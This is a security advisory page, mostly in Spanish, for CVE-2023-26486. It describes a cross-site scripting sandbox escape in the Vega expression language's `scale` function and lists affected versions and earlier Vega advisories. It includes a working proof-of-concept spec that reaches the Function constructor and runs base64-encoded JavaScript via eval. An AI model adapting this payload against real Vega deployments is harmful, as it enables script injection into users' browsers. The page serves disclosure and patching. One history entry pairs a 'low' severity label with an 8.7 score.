Media

Vega Expression Language `scale` expression function Cross Site Scripting

Publicada: 02.03.2023
Actualizado: 11.10.2026 10:22

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	vega	< 5.23.0	5.23.0
Paquete de npm	vega-functions	< 5.13.1	5.13.1

Referencias

Puntuación CVSS 6.1/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Debilidad (CWE): CWE-79
Plataforma: npm
Paquete: vega, vega-functions
Publicada: 02.03.2023
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-4vq7-882g-wcg4 - CC BY 4.0

Historial de vulnerabilidades: vega

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 8
Primera → última: 12.2020 11.2025
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 1
Media 6
Baja 1

Divulgaciones por año

2020: 1
2021: 0
2022: 0
2023: 3
2024: 0
2025: 4
2026: 0

13.11.2025

Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

Alta · 8.1 CVE-2025-59840 < 6.2.0 6.2.0
27.03.2025

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Media CVE-2025-27793 < 5.32.0 5.32.0
27.03.2025

Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter

Media · 6.1 CVE-2025-26619 < 5.31.0 5.31.0
14.02.2025

Vega allows Cross-site Scripting via the vlSelectionTuples function

Media CVE-2025-25304 < 5.26.0 5.26.0
02.03.2023

Vega vulnerable to arbitrary code execution when clicking href links

Media ghsa-cp47-r258-q626 >= 5.0.0, < 5.4.1, < 4.5.1 5.4.1, 4.5.1
02.03.2023

Vega Expression Language `scale` expression function Cross Site Scripting esta entrada

Media · 6.1 CVE-2023-26486 < 5.23.0 5.23.0
02.03.2023

Vega has Cross-site Scripting vulnerability in `lassoAppend` function

Media · 6.1 CVE-2023-26487 < 5.23.0 5.23.0
30.12.2020

XSS in Vega

Baja · 8.7 CVE-2020-26296 < 5.17.3 5.17.3

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación